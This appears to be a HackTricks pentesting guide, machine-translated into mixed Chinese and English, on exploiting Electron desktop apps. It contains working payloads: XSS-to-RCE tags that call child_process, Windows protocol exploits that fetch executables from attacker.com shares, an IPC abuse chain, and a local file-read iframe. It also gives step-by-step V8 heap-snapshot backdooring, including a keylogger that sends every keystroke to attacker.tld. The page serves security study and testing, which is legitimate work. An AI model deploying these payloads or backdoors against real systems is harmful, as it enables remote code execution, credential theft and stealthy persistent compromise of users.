Electron 桌面应用
Reading time: 27 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
介绍
Electron 将本地后端(使用 NodeJS)和前端(使用 Chromium)结合在一起,尽管它缺少现代浏览器的一些安全机制。
通常你可能会在 .asar
应用中找到 Electron 应用的代码,要获取这些代码你需要将其提取:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
在 Electron 应用的源代码中,在 packet.json
内,你可以看到指定了 main.js
文件,其中设置了安全配置。
{
"name": "standard-notes",
"main": "./app/index.js",
Electron 有 2 种进程类型:
- 主进程(可完全访问 NodeJS)
- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)
一个 渲染进程 将是一个加载文件的浏览器窗口:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Settings of the 渲染进程 can be 配置 in the 主进程 inside the main.js file. Some of the configurations will 阻止 Electron 应用程序 获取 RCE or other vulnerabilities if the 设置正确配置。
The Electron application 能够访问设备 via Node apis although it can be configure to prevent it:
nodeIntegration
- isoff
by default. If on, allows to access node features from the 渲染进程.contextIsolation
- ison
by default. If off, 主进程 and 渲染进程 aren't isolated.preload
- empty by default.sandbox
- is off by default. It will restrict the actions NodeJS can perform.- Node Integration in Workers
nodeIntegrationInSubframes
- isoff
by default.- If
nodeIntegration
is enabled, this would allow the use of Node.js APIs in web pages that are 加载在 iframes 中 within an Electron application. - If
nodeIntegration
is disabled, then preload 会在 iframe 中加载
Example of configuration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
一些 RCE payloads 来自 here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
捕获流量
修改 start-main 配置并添加对 proxy 的使用,例如:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
如果你能在本地执行一个 Electron App,可能会让它执行任意的 javascript 代码。详见:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
如果 nodeIntegration 被设置为 on,网页的 JavaScript 可以通过调用 require()
轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方式是:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
此设置中指定的脚本是 loaded before other scripts in the renderer, so it has unlimited access to Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
因此,该脚本可以将 node-features 导出到页面:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > 如果
contextIsolation
启用,则此方法无效
RCE: XSS + contextIsolation
The contextIsolation introduces the separated contexts between the web page scripts and the JavaScript Electron's internal code so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
If the contexts aren't isolated an attacker can:
- Execute 在 renderer 中的任意 JavaScript (XSS or navigation to external sites)
- 覆盖内置方法,该方法在 preload 或 Electron 内部代码中被使用以控制函数
- 触发 对 被覆盖函数 的调用
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
绕过点击事件
如果在点击链接时存在限制,你可能可以通过 使用中键点击 而非常规的左键点击 来绕过它们
window.addEventListener('click', (e) => {
RCE 通过 shell.openExternal
有关这些示例的更多信息,请参阅 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 和 https://benjamin-altpeter.de/shell-openexternal-dangers/
在部署 Electron 桌面应用时,确保 nodeIntegration
和 contextIsolation
的设置正确至关重要。已经确定,当这些设置就位时,可以有效防止来自主进程、针对 preload 脚本或 Electron 原生代码的 client-side remote code execution (RCE)。
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对于应用的安全性和功能至关重要:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
这些监听器被桌面应用程序重写以实现其自身的业务逻辑。应用程序会评估导航到的链接是应在应用内打开还是在外部 web 浏览器中打开。这个决定通常通过一个函数,openInternally
,来做出。如果该函数返回 false
,则表示该链接应在外部打开,使用 shell.openExternal
函数。
Here is a simplified pseudocode:
Electron JS 安全最佳实践建议不要通过 openExternal
函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议,这些协议可能触发 RCE。有关此主题的详细示例和进一步说明,可参阅 this resource,其中包含能够利用此漏洞的 Windows 协议示例。
在 macos 中,openExternal
函数可以被利用来执行任意命令,例如 shell.openExternal('file:///System/Applications/Calculator.app')
。
Examples of Windows protocol exploits include:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
该 vuln 可在 this report 中找到。
webviewTag 是一个 deprecated feature,允许在 renderer process 中使用 NodeJS。应将其禁用,因为它允许在 preload context 中加载脚本,例如:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
因此,能够加载任意页面的攻击者可以使用该标签来 load an arbitrary preload script。
随后,该 preload script 被滥用来调用一个 vulnerable IPC service (skype-new-window
),该服务正在调用调用 shell.openExternal
来获得 RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
读取内部文件:XSS + contextIsolation
禁用 contextIsolation
允许使用 <webview>
标签,类似于 <iframe>
,用于读取并 leak 本地文件。下面的示例演示如何利用此漏洞读取内部文件的内容:
此外,还分享了另一种读取内部文件的方法,强调了 Electron desktop app 中的一个严重本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + 过时的 chromium
如果应用使用的 chromium 版本过旧,且存在已知的 漏洞,则可能通过 XSS 利用它并获得 RCE。\ 你可以在这篇 writeup 中看到一个示例: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing(通过 Internal URL regex bypass)
假设你发现了一个 XSS,但你无法触发 RCE 或窃取内部文件,你可以尝试利用它通过 phishing 窃取凭证。
首先,你需要了解当尝试打开一个新 URL 时会发生什么,可以通过检查前端的 JS 代码来确认:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
The call to openInternally
will decide if the link will be opened in the desktop window as it's a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.
在对 openInternally
的调用中,会决定该 link 是否作为属于平台的链接在 desktop window 中 打开,or 是否会在 browser as a 3rd party resource 中打开。
In the case the regex used by the function is vulnerable to bypasses (for example by not escaping the dots of subdomains) an attacker could abuse the XSS to open a new window which will be located in the attackers infrastructure asking for credentials to the user:
如果该函数使用的 regex 存在 易于被绕过(例如 未对子域名中的点进行转义),攻击者可以滥用 XSS 去 打开一个新窗口,该窗口位于攻击者的基础设施中,向用户索取凭证:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
协议
正如 the docs 所述,运行在 file://
上的页面对你机器上的每个文件都有单向访问权限,这意味着 XSS 问题可被用来从用户机器加载任意文件。使用 自定义协议 可以防止此类问题,因为你可以将协议限制为仅提供特定的一组文件。
Remote module
The Electron Remote module 允许 renderer processes 访问 main process APIs,便于 Electron 应用内部通信。然而,启用此模块会引入重大的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本 (XSS) 攻击等漏洞的影响。
tip
虽然 remote module 会将某些 API 从 main 暴露给 renderer processes,但仅通过滥用这些组件并不容易直接获得 RCE。然而,这些组件可能会暴露敏感信息。
warning
许多仍使用 remote module 的应用以需要在 renderer process 中启用 NodeIntegration 的方式使用它,这构成了巨大的安全风险。
自 Electron 14 起,remote
模块可能仍可通过多个步骤启用,但出于安全和性能原因,建议不要使用它。
要启用它,首先需要在 main process 中启用:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
然后,渲染进程可以像下面这样从模块导入对象:
import { dialog, getCurrentWindow } from '@electron/remote'
The blog post 指出 remote 模块中对象 app
暴露的一些有趣的 函数:
app.relaunch([options])
- 重启 应用,通过 退出 当前实例并 启动 新实例。对 app 更新 或重要的 状态变更 很有用。
app.setAppLogsPath([path])
- 定义 或 创建 用于存储 app logs 的目录。日志可以通过
app.getPath()
或app.setPath(pathName, newPath)
被 检索 或 修改。 app.setAsDefaultProtocolClient(protocol[, path, args])
- 注册 当前可执行文件为指定 protocol 的 默认处理程序。如有需要,可以提供 自定义 path 和 arguments。
app.setUserTasks(tasks)
- 将 任务添加到 Jump List 的 Tasks category(Windows)。每个任务可以控制应用如何 启动 或传递哪些 arguments。
app.importCertificate(options, callback)
- 导入 一个 PKCS#12 certificate 到系统的 certificate store(仅 Linux)。可以使用 callback 来处理结果。
app.moveToApplicationsFolder([options])
- 将 应用移动到 Applications folder(macOS)。有助于确保 Mac 用户的 标准安装。
app.setJumpList(categories)
- 设置 或 移除 Windows 上的 custom Jump List。你可以指定 categories 来组织任务在用户界面中的显示方式。
app.setLoginItemSettings(settings)
- 配置 哪些 executables 会在 login 时启动以及它们的 options(仅 macOS 和 Windows)。
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences 模块
这是 Electron 中用于访问系统偏好并 发出系统事件 的 主要 API。诸如 subscribeNotification, subscribeWorkspaceNotification, getUserDefault 和 setUserDefault 等方法都 属于 该模块。
示例用法:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- 监听 使用 NSDistributedNotificationCenter 的 原生 macOS 通知。
- 在 macOS Catalina 之前,可以通过向 CFNotificationCenterAddObserver 传递 nil 来嗅探 所有 分布式通知。
- 在 Catalina / Big Sur 之后,沙盒化应用仍然可以通过按 名称 注册通知来 订阅 许多事件(例如 屏幕锁定/解锁、挂载卷、网络活动 等)。
getUserDefault / setUserDefault
-
与 NSUserDefaults 交互,NSUserDefaults 在 macOS 上存储 应用 或 全局 首选项。
-
getUserDefault 可以 检索 敏感信息,例如 最近文件位置 或 用户的地理位置。
-
setUserDefault 可以 修改 这些首选项,可能会影响应用的 配置。
-
在 较旧的 Electron 版本(v8.3.0 之前),只有 NSUserDefaults 的 standard suite 可被访问。
Shell.showItemInFolder
此函数在文件管理器中显示给定文件,可能会自动执行该文件。
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.
It's usually configured in the main.js
file or in the index.html
template with the CSP inside a meta tag.
For more information check:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity 是一个用于识别基于 Electron 的应用中错误配置和安全反模式的工具。
- Electrolint 是一个开源的 VS Code 插件,针对 Electron 应用并使用 Electronegativity。
- nodejsscan 用于检查易受攻击的第三方库
- Electro.ng: 需要购买
Labs
在 https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 你可以找到一个用于利用易受攻击 Electron 应用的实验。
下面是一些在实验中对你有帮助的命令:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
本地 backdooring 通过 V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron 和基于 Chromium 的应用在启动时会反序列化预构建的 V8 heap snapshot(v8_context_snapshot.bin,及可选的 browser_v8_context_snapshot.bin)来初始化每个 V8 isolate(main、preload、renderer)。历史上,Electron 的 integrity fuses 并未将这些 snapshot 视为可执行内容,因此它们逃避了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在允许用户写入的安装目录中替换该 snapshot,能够在不修改签名二进制或 ASAR 的情况下,在应用内提供隐蔽、持久的代码执行。
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar 验证 ASAR 内的应用 JavaScript,但它们并不覆盖 V8 heap snapshots(CVE-2025-55305)。Chromium 同样不对 snapshots 进行完整性校验。
- Attack preconditions: 本地文件写入到应用的安装目录。在 Electron 应用或 Chromium 浏览器安装在用户可写路径的系统上这很常见(例如 Windows 的 %AppData%\Local;macOS 上的 /Applications 有一些注意事项)。
- Effect: 通过覆盖一个常用的 builtin(一个“gadget”),可以在任意 isolate 中可靠执行攻击者的 JavaScript,从而实现持久化并规避代码签名校验。
- Affected surface: 从用户可写位置加载 snapshots 的 Electron 应用(即便启用了 fuses)及基于 Chromium 的浏览器。
Generating a malicious snapshot without building Chromium
- 使用预构建的 electron/mksnapshot 将 payload JS 编译为 snapshot,然后覆盖应用的 v8_context_snapshot.bin。
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- 主进程检测:仅在 Node 中可用的全局变量(如 process.pid、process.binding() 或 process.dlopen)存在于主进程 isolate 中。
- 浏览器/渲染器 检测:仅在浏览器中可用的全局变量(如 alert)在运行于 document 上下文时可用。
示例 gadget:一次探测主进程 Node 能力
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context 数据窃取 PoC(例如 Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
操作流程
- 编写 payload.js,用于覆写常见的 builtin(例如 Array.isArray),并可选择按 isolate 分支。
- 在不包含 Chromium 源码的情况下构建 snapshot:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- 覆盖目标应用的 snapshot 文件:
- v8_context_snapshot.bin(始终使用)
- browser_v8_context_snapshot.bin(如果使用了 LoadBrowserProcessSpecificV8Snapshot fuse)
- 启动应用;每当被选择的 builtin 被调用时,gadget 会执行。
注释与注意事项
- Integrity/signature bypass:Snapshot 文件在 code-signing 检查中不被视为本地可执行文件,并且(历史上)未被 Electron 的 fuses 或 Chromium 的 完整性 控制覆盖。
- Persistence:在用户可写的安装目录中替换 snapshot 通常能在应用重启后保持,并且看起来像一个签名的合法应用。
- Chromium browsers:相同的篡改概念适用于安装在用户可写位置的 Chrome/衍生版本。Chrome 有其他的完整性缓解措施,但明确将物理本地攻击排除在其威胁模型之外。
检测与缓解
- 将 snapshots 视为可执行内容并纳入完整性强制(CVE-2025-55305 fix)。
- 优先使用仅管理员可写的安装位置;为 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希。
- 检测早期运行时 builtin 被覆写以及意外的 snapshot 变更;当反序列化的 snapshot 与预期不符时发出警报。
References
-
https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
-
https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
-
More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
-
https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
-
https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。